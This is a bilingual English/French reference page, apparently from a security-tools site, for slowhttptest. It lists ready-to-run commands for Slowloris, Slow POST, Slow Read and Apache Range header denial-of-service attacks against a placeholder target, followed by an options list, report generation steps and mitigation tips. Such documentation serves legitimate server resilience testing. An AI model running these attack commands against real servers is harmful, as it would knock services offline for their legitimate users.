slowhttptest
Outil de test d'attaque DoS HTTP lent. Simule des attaques Slowloris, Slow POST, Slow Read et RANGE header pour tester si des serveurs web sont vulnérables aux attaques de déni de service HTTP lent. Slow HTTP DoS attack testing tool. Simulates Slowloris, Slow POST, Slow Read, and RANGE header attacks to test if web servers are vulnerable to slow HTTP denial-of-service attacks.
↗ https://github.com/shekyan/slowhttptestOverview
slowhttptest implements multiple slow HTTP DoS attack vectors: Slowloris (slow headers), Slow POST (slow body), Slow Read (slow consumption of responses), and Apache Range header attacks. Used to test whether web servers have appropriate mitigations configured.
Basic Usage
Slowloris attack (slow headers)
slowhttptest -c 1000 -H -g -o output -i 10 -r 200 -t GET -u http://target.com -x 24 -p 3
Slow POST attack
slowhttptest -c 1000 -B -g -o output -i 110 -r 200 -s 8192 -t POST -u http://target.com/form -x 10 -p 3
Slow Read attack
slowhttptest -c 1000 -X -g -o output -i 1 -r 200 -u http://target.com -p 3 -l 300
Range header attack (Apache killer)
slowhttptest -c 1000 -R -g -o output -i 1 -r 200 -u http://target.com
Attack Modes
-H Slowloris — sends incomplete HTTP headers slowly Keeps connections open by never completing the request
slowhttptest -c 500 -H -u http://target.com -i 10 -r 100 -t GET -x 24 -p 3
-B Slow POST — sends POST body very slowly Works against form-processing endpoints
slowhttptest -c 500 -B -u http://target.com/login -i 110 -r 100 -t POST -x 10 -p 3
-X Slow Read — reads response data very slowly Exhausts server send buffers
slowhttptest -c 500 -X -u http://target.com -i 1 -r 100 -p 3
-R Range Header — Apache Range header DoS
slowhttptest -c 500 -R -u http://target.com -i 1 -r 100 -p 3
Options Reference
-c N Connections count (default: 50)
-d P Proxy host:port
-e P Proxy credentials (login:password)
-H Slowloris mode
-B Slow POST mode
-X Slow Read mode
-R Range Header mode
-g Generate CSV/HTML report
-o FILE Output file name (no extension)
-i N Interval between follow-up data (seconds)
-r N Connections per second
-s N POST body size (bytes)
-t VERB HTTP verb (GET/POST)
-u URL Target URL
-x N Max length of follow-up data (bytes)
-p N Timeout to wait for HTTP response (seconds)
-l N Test duration (seconds)
Report Generation
Generate HTML report with stats graph
slowhttptest -c 1000 -H -g -o slowtest -u http://target.com -i 10 -r 200 -t GET -x 24 -p 3
# Creates:
# slowtest.html — visual report with connection graph
# slowtest.csv — raw data
Tips
- This tool tests the server’s resilience — use only on systems you own or have permission to test
- Successful attacks will cause legitimate users to get 503 errors — test in maintenance windows
- Nginx is generally resilient; Apache httpd (older) is more vulnerable
- Mitigations: connection limits, request timeouts,
mod_reqtimeout(Apache), rate limiting - Test with lower
-cvalues first to avoid disrupting production unexpectedly
Help / Man page
slowhttptest [options]
-c N Total connections (default: 50)
-H Slowloris mode
-B Slow POST mode
-X Slow Read mode
-R Range Header mode
-u URL Target URL
-g Generate report
-o FILE Output file (no extension)
-i N Interval (seconds)
-r N Connections/second
-t VERB HTTP method
-x N Max data length
-p N Response timeout
-l N Duration (seconds, 0=unlimited)
Vue d’ensemble
slowhttptest implémente plusieurs vecteurs d’attaque DoS HTTP lent : Slowloris (en-têtes lents), Slow POST (corps lent), Slow Read (consommation lente des réponses), et attaques Range header Apache. Utilisé pour tester si les serveurs web disposent de mitigations correctement configurées.
Utilisation de base
# Attaque Slowloris (en-têtes lents)
slowhttptest -c 1000 -H -g -o output -i 10 -r 200 -t GET -u http://target.com -x 24 -p 3
# Attaque Slow POST
slowhttptest -c 1000 -B -g -o output -i 110 -r 200 -s 8192 -t POST -u http://target.com/form -x 10 -p 3
# Attaque Slow Read
slowhttptest -c 1000 -X -g -o output -i 1 -r 200 -u http://target.com -p 3 -l 300
# Attaque Range header (Apache killer)
slowhttptest -c 1000 -R -g -o output -i 1 -r 200 -u http://target.com
Modes d’attaque
# -H Slowloris : envoie des en-têtes HTTP incomplets lentement. Garde les connexions ouvertes en ne complétant jamais la requête
slowhttptest -c 500 -H -u http://target.com -i 10 -r 100 -t GET -x 24 -p 3
# -B Slow POST : envoie le corps POST très lentement. Fonctionne contre les endpoints de traitement de formulaire
slowhttptest -c 500 -B -u http://target.com/login -i 110 -r 100 -t POST -x 10 -p 3
# -X Slow Read : lit les données de réponse très lentement. Épuise les buffers d'envoi du serveur
slowhttptest -c 500 -X -u http://target.com -i 1 -r 100 -p 3
# -R Range Header : DoS via l'en-tête Range d'Apache
slowhttptest -c 500 -R -u http://target.com -i 1 -r 100 -p 3
Référence des options
-c N Connections count (default: 50)
-d P Proxy host:port
-e P Proxy credentials (login:password)
-H Slowloris mode
-B Slow POST mode
-X Slow Read mode
-R Range Header mode
-g Generate CSV/HTML report
-o FILE Output file name (no extension)
-i N Interval between follow-up data (seconds)
-r N Connections per second
-s N POST body size (bytes)
-t VERB HTTP verb (GET/POST)
-u URL Target URL
-x N Max length of follow-up data (bytes)
-p N Timeout to wait for HTTP response (seconds)
-l N Test duration (seconds)
Génération de rapport
# Générer un rapport HTML avec graphique de statistiques
slowhttptest -c 1000 -H -g -o slowtest -u http://target.com -i 10 -r 200 -t GET -x 24 -p 3
# Crée :
# slowtest.html : rapport visuel avec graphique de connexions
# slowtest.csv : données brutes
Conseils
- Cet outil teste la résilience du serveur : à utiliser uniquement sur des systèmes que vous possédez ou que vous êtes autorisé à tester
- Les attaques réussies causent des erreurs 503 pour les utilisateurs légitimes : tester en fenêtre de maintenance
- Nginx est généralement résilient ; Apache httpd (versions anciennes) est plus vulnérable
- Mitigations : limites de connexion, timeouts de requête,
mod_reqtimeout(Apache), rate limiting - Tester d’abord avec des valeurs
-cplus basses pour éviter de perturber la production de manière inattendue
Aide / Page de manuel
slowhttptest [options]
-c N Total connections (default: 50)
-H Slowloris mode
-B Slow POST mode
-X Slow Read mode
-R Range Header mode
-u URL Target URL
-g Generate report
-o FILE Output file (no extension)
-i N Interval (seconds)
-r N Connections/second
-t VERB HTTP method
-x N Max data length
-p N Response timeout
-l N Duration (seconds, 0=unlimited)